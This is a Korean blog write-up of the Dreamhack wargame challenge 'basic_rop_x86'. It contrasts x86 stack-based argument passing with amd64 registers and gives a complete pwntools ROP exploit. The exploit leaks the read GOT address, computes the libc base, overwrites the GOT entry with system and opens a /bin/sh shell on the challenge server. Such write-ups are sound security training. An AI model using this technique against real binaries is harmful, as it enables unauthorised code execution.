[드림핵 시스템 해킹] Wargame : basic_rop_x86

asdf·2025년 1월 13일

pwnable

목록 보기
16/36

문제


풀이


basic_rop_x64를 32비트 x86아키텍처에서 해결하는 문제입니다. 여기서는 아키텍처의 차이에 의한 차이점만 설명하도록 하겠습니다. basic_rop_x64를 해결하지 않으신 분들은 링크를 보고 오시길 바랍니다.

64비트 아키텍처인 amd64는 앞의 문제에서 확인하였듯이 인자가 레지스터를 통하여 전달됩니다. rdi, rsi, rdx, ... 순서로 사용되므로 앞의 문제는 pop_rdi와 pop_rsi_r15라는 가젯을 활용하여 rdi와 rsi의 값을 변경하였습니다.
하지만 32비트 아키텍처인 i386-32-little은 함수 인자들이 스택을 통해 전달됩니다.

익스플로잇 실행

from pwn import *

p = remote("host1.dreamhack.games", 19355)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")

#pop을 3번 하는 가젯
#0x08048689 : pop esi ; pop edi ; pop ebp ; ret
pop3 = 0x08048689
#pop을 한 번 하는 가젯
#0x0804868b : pop ebp ; ret
pop = 0x0804868b
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]

basic_rop_x64는 rdx가 충분히 큰 값일 것이라고 가정하였기 때문에 read와 write의 3번째 인자를 정하지 않았지만 여기서는 인자들이 스택을 통해 전달되기 때문에 작성을 해줘야 합니다.

payload = b'A' * 0x48

#write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pop3) + p32(1) + p32(read_got) + p32(4)

#read(0, read_got, 12)
payload += p32(read_plt)
payload += p32(pop3) + p32(0) + p32(read_got) + p32(12)

#system("/bin/sh")
payload += p32(read_plt)
payload += p32(pop) + p32(read_got + 0x4)

p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]

p.send(p32(system) + b"/bin/sh\x00")

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글